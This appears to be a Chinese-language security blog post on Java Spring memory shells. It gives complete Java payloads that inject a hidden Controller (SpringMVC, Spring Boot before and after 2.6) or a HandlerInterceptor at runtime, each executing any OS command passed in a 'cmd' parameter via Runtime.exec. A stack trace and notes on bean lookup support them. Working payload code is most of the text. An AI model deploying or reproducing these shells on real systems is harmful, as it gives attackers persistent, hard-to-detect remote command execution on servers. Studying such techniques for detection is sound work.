1. 1. Controller型内存马
    1. 1.1. 内存马Payload
      1. 1.1.1. SpringMVC
      2. 1.1.2. Spring Boot <= 2.6.x
      3. 1.1.3. Spring Boot >= 2.6.x
  2. 2. Interceptor型内存马
    1. 2.1. 内存马Payload

Controller型内存马

自定义注册Controller

1
2
3
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#registerMapping
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#registerMapping
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.MappingRegistry#register
内存马Payload
SpringMVC

经测试,https://github.com/W01fh4cker/LearnJavaMemshellFromZero?tab=readme-ov-file#41-spring-controller%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC, https://goodapple.top/archives/1355Spring Controller型内存马在SpringMVC项目中可以正常使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class TestEvilController {

private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}

@RequestMapping("/inject")
public String inject() throws Exception{
String controllerName = "/" + getRandomString();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "[+] Inject successfully!<br>[+] shell url: http://localhost:9090" + context.getServletContext().getContextPath() + controllerName + "?cmd=ifconfig";
}

@RestController
public static class InjectedController {

public InjectedController(){
}

public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
response.setCharacterEncoding("GBK");
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
Spring Boot <= 2.6.x

参考https://github.com/W01fh4cker/LearnJavaMemshellFromZero?tab=readme-ov-file#41-spring-controller%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class TestEvilController {

@Autowired //@Autowired自动装配注入
private RequestMappingHandlerMapping requestMappingHandlerMapping;

private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}

@RequestMapping("/inject")
public String inject() throws Exception{
String controllerName = "/" + getRandomString();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
}

@RestController
public static class InjectedController {

public InjectedController(){
}

public void cmd() throws Exception {
HttpServletRequest request = (HttpServletRequest) ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = (HttpServletResponse) ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
response.setCharacterEncoding("GBK");
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
Spring Boot >= 2.6.x

Spring Boot >= 2.6.x版本手动注册会抛出Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".异常导致注册失败,所以Spring Boot >= 2.6.x可以使用下面的Payload打内存马 - 参考https://blog.csdn.net/maple_son/article/details/122572869

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.stereotype.Service;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import java.lang.reflect.Method;

@Controller
public class evilController {

@Autowired
private RequestMappingHandlerMapping requestMappingHandlerMapping;

@Autowired
private MappingRegistrationService mappingRegistrationService;

@RequestMapping("/injectController")
public ResponseEntity<String> registerEvilController() throws Exception {
mappingRegistrationService.registerMapping("/shell", "shell");
return ResponseEntity.ok("Evil controller injected successfully.");
}

public static class controllerShell {
public controllerShell() {}

public void shell() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
}
}

@Service
class MappingRegistrationService implements InitializingBean {

@Autowired
private RequestMappingHandlerMapping requestMappingHandlerMapping;

private RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();

@Override
public void afterPropertiesSet() throws Exception {
// 初始化配置
this.config.setTrailingSlashMatch(requestMappingHandlerMapping.useTrailingSlashMatch());
this.config.setContentNegotiationManager(requestMappingHandlerMapping.getContentNegotiationManager());
if (requestMappingHandlerMapping.getPatternParser() != null) {
this.config.setPatternParser(requestMappingHandlerMapping.getPatternParser());
} else {
this.config.setSuffixPatternMatch(requestMappingHandlerMapping.useSuffixPatternMatch());
this.config.setRegisteredSuffixPatternMatch(requestMappingHandlerMapping.useRegisteredSuffixPatternMatch());
this.config.setPathMatcher(requestMappingHandlerMapping.getPathMatcher());
}
}

public void registerMapping(String pattern, String methodName) throws NoSuchMethodException {
RequestMappingInfo mappingInfo = RequestMappingInfo.paths(pattern)
.methods(RequestMethod.valueOf("GET")) // 可以根据需要设置具体的请求方式
.options(this.config)
.build();

Method targetMethod = evilController.controllerShell.class.getDeclaredMethod(methodName);
requestMappingHandlerMapping.registerMapping(mappingInfo, new evilController.controllerShell(), targetMethod);
}
}

Interceptor型内存马

具体原理参考:https://goodapple.top/archives/1355

堆栈信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
doDispatch:1028, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:529, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:623, HttpServlet (javax.servlet.http)
internalDoFilter:199, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
doFilter:51, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:396, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
内存马Payload

SpringMVC,SpringBoot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.print.attribute.standard.PrinterInfo;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;

@RestController
public class shellInterceptor {

@RequestMapping("/inject")
public String inject() throws Exception {
//获取当前Web应用上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
//通过反射获取abstractHandlerMapping实例中的adaptedInterceptors字段并强转为ArrayList类型
ArrayList<Object> adaptedInterceptorsList = (ArrayList<Object>) adaptedInterceptors.get(abstractHandlerMapping);
//构造恶意类实例
Inject_shellInterceptor injectInterceptor = new Inject_shellInterceptor();
adaptedInterceptorsList.add(injectInterceptor);
return "Inject successfully";
}

//注入恶意Interceptor拦截器
public class Inject_shellInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
return false;
}
}
}

使用AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);而不是AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);原理如下:

1
2
3
4
5
在 Spring MVC 中,AbstractHandlerMapping 是所有 Handler 映射器(Handler Mapping)的基类,用于将 请求 URL 映射到具体的 Controller 处理方法。常见的 HandlerMapping 主要包括:

(1) SimpleUrlHandlerMapping:基于静态 URL 规则进行映射(通常用于 XML 配置)。
(2) BeanNameUrlHandlerMapping:基于 Bean 的名称进行 URL 映射。
(3) RequestMappingHandlerMapping:基于 @RequestMapping 注解进行映射(Spring MVC 默认使用)。

需要指定RequestMappingHandlerMapping,否则会抛出异常No qualifying bean of type 'org.springframework.web.servlet.handler.AbstractHandlerMapping' available

Controller型内存马同理